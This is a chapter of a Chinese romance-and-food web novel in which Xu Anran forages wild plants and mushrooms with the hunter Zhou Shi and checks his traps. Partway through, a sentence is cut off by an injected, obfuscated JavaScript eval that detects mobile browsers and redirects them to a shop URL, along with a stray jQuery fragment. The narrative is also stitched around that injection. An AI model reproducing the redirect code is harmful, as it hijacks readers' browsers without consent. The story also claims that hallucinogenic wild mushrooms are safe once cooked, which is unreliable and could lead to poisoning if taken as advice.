18. 第 18 章
作品:《山间小记(美食)》 在苏清的细心打理下,这片菜地的黄瓜苗终于死了。她也总算能铲掉了,省得苏清总是念叨。
虽然山里野菜多,但她不像周时,可以天天上山。所以家里种些蔬菜十分有必要。
现在这个季节,种小白菜刚好合适,七天就能出苗,二十一天就能吃了,而且好养活,每天只需要浇水一次就够。
母女俩各自忙活,天色渐暗,也阻挡不了徐安然种地的热情。想到不出一个月就能吃到新鲜的蔬菜,她就动力满满。
菜地不算大,将土锄松散后,分成三垄,接着将种子撒在垄上,没什么规律,也不需要专门挖坑。
做完这些,再浇水,浇得湿润就停下。
她没有买肥料,也没卖药,自家种来吃的菜,不需要打药,否则就失去了自己种的意义。
古代生活虽然无趣,没有电子产品,没有游戏,没有空调,但自然资源非常好。在这里,风是甜的,空气是无污染的。
特别是在山上,早晨天蒙蒙亮的山上……
徐安然一路跟着周时,这次,他们没有走前几次走的路,而是从另一头上山,这里的物资更丰富。
“我不知道你说的那些草药名字什么模样,但是以我的经验来看,这片地方应该会有你想要的菜。”周时站在她身旁,指着眼前一片绿油油的地。
徐安然其实也不知道这一趟上山能不能找到做卤肉的材料,但是看着焕然一新的土地,和茂盛的植物,她已经十分知足了。
眼前的植物,百分之八十都是可以吃的。有香茅、芝麻菜、草果……甚至还有山椒子,每一颗都十分健壮,最高的有三米左右,十分壮观。
“周大哥!你真是我们家发家致富的引路人!”徐安然激动地说完,连忙奔向这个胜似天堂之地。
她开心,周时也开心。
“你忙你的去吧,不用一直跟着我。”徐安然蹲在一片香茅中,她的手上已经拿了很多了,回头发周时居然还在她的身边,于是连忙说。
“这里相较于你之前摔跤的地方,会更危险。”
“这样吗?那好吧,麻烦周大哥了,我尽快摘。”
周时都说了有危险,那还是别让他走了,自己的小命更重要。
“你慢慢来,我今日不打猎。”
光靠打猎,不足以维持生活,所以他还在山里做了陷阱,特别是在深处,人经过得少,做陷阱也不怕伤害到无辜的人。陷阱每两天一检查,这次应该能有所收获。
徐安然不知道周时在附近做了陷阱,他说完那些话之后,加快了采摘的进度。
好在这些野菜都没那么占地方,只要见到可以吃的或者可以入菜做调味料的,她都摘下,带回家后再细细分拣。
只是她没想到,除了蕨类和草本植物之外,居然能看到菌子。
周时看着徐安然,见她伸手摘向蘑菇,连忙两步并作一步到她身边,“别摘!”
他的手正好搭在徐安然拿着蘑菇的手上,手心的触感让他耳根一红,“这个不能吃。”他支支吾吾地说,紧接着抽开手,精准拿走徐安然手上刚摘下的蘑菇,丢得老远。
“不是,大哥。”徐安然眼睁睁地看着白白胖胖的菌子以一道完美的抛物线,掉进了密布的草堆中。
“可以吃的呀!”她急匆匆地说,“这个叫菌子,只要煮熟之后就可以吃。”
“不能吃!会出事。”周时依旧保持己见。
“你吃过?”徐安然突然冷静下来问道。
“吃过,睡了两天才恢复神智,这蘑菇会致幻,十分可怕。”说到这,周时又想到了当时吃这毒蘑菇的景象。
如果不是四叔发现,他估计会将家里射成筛子,因为他当时幻想到家中全是猎物,十分可怕。他在山里打猎那么多年,最怕的就是这类白黄色的蘑菇。
徐安然笑得弯下了腰,眼泪都要笑出来了。
“这个蘑菇没煮熟之前确实会让人产生幻觉,俗称菌子中毒,那是因为你没有煮熟就吃的原因,只要洗干净煮熟了,就没事。而且这个菌子十分新鲜,和竹笋一起,再加些青菜和肉,最后放上两块嫩豆腐,煮成汤,豆腐裹满了鲜汤,味道特别鲜美,真的。”
徐安然耐心解释。
也原谅了刚刚周时扔她肥美菌子这件事。
“你刚刚扔的是这里最好最大的一朵菌子,要不是知道你之前中过毒,我可要生气的。”说完,不管周时什么表情,弯下腰继续从一众野生菌子中挑选出最好的几朵。
不知过了多久,等她再次起身时,竟发现周时依旧站在老地方,不同的是,手里多了一朵菌子。
“是这个吗?”他问。
“我去!”徐安然惊讶出声,连忙接过他手上的菌子,“你居然找回来了?我看着扔很远呢,你什么时候找到的?我居然一点儿声音都没听到。”
“你太认真了。”周时说,“现在还生气吗?”
“啥?我本来就没生气呀,你不用这样,搞得好像我脾气很差。”
周时肉眼可见地慌了,连忙解释,“我没有这个意思。”
“我知道,我知道。”徐安然满心欢喜地看着手里的菌子,失而复得,好开心。
“谢谢你,周大哥,你人真好。”
“不必客气。”
“你接下来要去做什么?我跟你一块过去吧,我已经摘得差不多了。”
这一趟收获颇丰,虽然没有挖笋,但她已经心满意足了。周时一直待在她身边,都没有时间去做自己的事情,所以即使已经准备到正午,她也并不着急离开。
“去附近设的陷阱看看,然后就可以下山了,时间长了,你娘会担心你。”
“没想到你还挺细心的。”徐安然跟在周时身后,小声说。山里鸟兽虫鸣,她以为周时听不到,殊不知他全听了去,一抹红悄悄爬上脖颈,很快整个耳朵都红了。
好在徐安然比较矮,根本没看到。
很快,他们便来到了第一个陷阱处,这是一个被草垛遮挡起来的坑,坑里有几个捕兽夹。在捕兽夹的旁边,有几块生肉。
“真奢侈啊,用生肉来捕猎。”
“这些都是老鼠肉,不是什么能吃的。”
“哦~那老鼠还挺惨的。”徐安然也不知道自己在说什么,反正想到哪句就说哪句了。
周时动作很快,坑里没有猎物,他便恢复原貌,然后继续往前走到第二个陷阱。
第二个陷阱是个用网兜吊起来挂在树上的,常用于活捉一些跑得比较快的猎物,比如驯鹿和狍子,这类猎物活的更值钱。
这个陷阱需要每天都来看一次,因为这类猎物很聪明,可以挣脱渔网的束缚。一路上,周时跟徐安然说了很多关于捕猎的趣事。他从八岁开始跟随父亲打猎,一路磕磕绊绊地长大,直到父亲去世,又跟着他的四叔一起。
虽然山里的猎物很多,但是都聪明得很,白天基本不出没,而且他由于经常上山,山里的动物见到他都躲着不出来。
上次的野猪出没,存粹是因为徐安然面孔生。这才捡了个大便宜。
她这才知道,其实能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100666|195502||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打猎到野猪的概率很低很低,所以周时那天给她的三百文……真的很多了。
他居然这么舍得……
饶是徐安然再怎么迟钝,也终于发觉不对劲儿了。
她幽幽地看着周时的背影,一言不发。
“怎么了?”周时转头看着停下来的徐安然,不知为何,他突然有些心虚?或许是她眼里的探究意味太浓了吧。
“没什么。”徐安然不想说,万一是自己想多了,说出来怪尴尬的,而且……她现在一心只想搞事业。
人生大事,以前没想过,现在也没想过。
“还有最后一个陷阱了,距离不远,看完我们就下山。”周时还以为她是累了,于是连忙说道。
“是我麻烦你,周大哥,你不用一直迁就我的。”
“你是女孩子嘛,我一大老爷们晒点没事,你别晒着了。”周时将心里话说了出来。
说话间,第三个位置的陷阱到了。
徐安然怔在原地,惊讶地张嘴,却发不出任何声音,看着像是被吓傻了。
一地的血,还有动物尸体被啃食的痕迹,在陷阱的不远处,还有一堆骨头。
这显然是哪个大型动物被另一只大型动物吃了。
她虽然见过很多屠宰的场面,但依旧受不了眼前这血呲呼啦的场面。但好奇心实在太重,还是忍着不适看。
这样的场面周时见过太多了,只是今日恰好徐安然在场,并且恰好遇见了这样的场面。
一直关注徐安然的周时哪里能不知道她的不适。“如果受不了就转过头去,我很快清理好。”
“没事没事。”徐安然连忙摆手,“你忙你的。”
她看着周时处理血腥场面的背影,在道路的一旁,有一处泉水自上而下地流,周时带了盆,接水后将血迹冲了个大概,然后拿着锄头将土重新翻新了一遍。
虽然血腥味还在,但是已经没有了那样恐怖的场面。
这时候,他才看向不远处的深坑陷阱。
这个陷阱足足有五米深,一个人摔下去都会有骨折的风险,别提说山里的动物了。
在洞底下,躺着一只通体漆黑的野猪。
又是野猪,这山里,野猪真多啊。
周时解下盘在腰间的绳子,绑在不远处的一棵树干上,然后顺着绳子往下进入洞口。
徐安然连忙跟过去,虽然可能帮不上忙,但她还是想看着周时。
周时十分敏捷,在距离地面一米的距离便跳了下去。
随后抬头看着在顶上的徐安然,“徐姑娘,麻烦你帮忙把背篓丢下来给我。”
“哦,好!不麻烦。”徐安然连忙将一旁的背篓丢了下去,丢之前,还不忘告诉周时躲远一些。因为她的准头不是很好。
随着“砰”的一声,背篓成功落地,野猪不是很大,比第一次要袭击她的野猪瘦了一圈,但肉质看着很紧实。
将野猪背上来后,调整好位置,然后铺上血封草,做完这些,习惯性地又要拿起徐安然的背篓。
“我自己来吧。”
“你的腿……”
“基本都好全了。”
“好,背不动了就喊我。”
“嗯。”
“……”
二人一大一小的背篓,并肩往下山的路走去。
山下……周时看着徐安然的背影走远,紧接着找了个地方将野猪藏好,又重新转头上山。他打猎那么多年,哪里只会在山里设三个陷阱。
只是觉得她是累了,所以先带她下山。

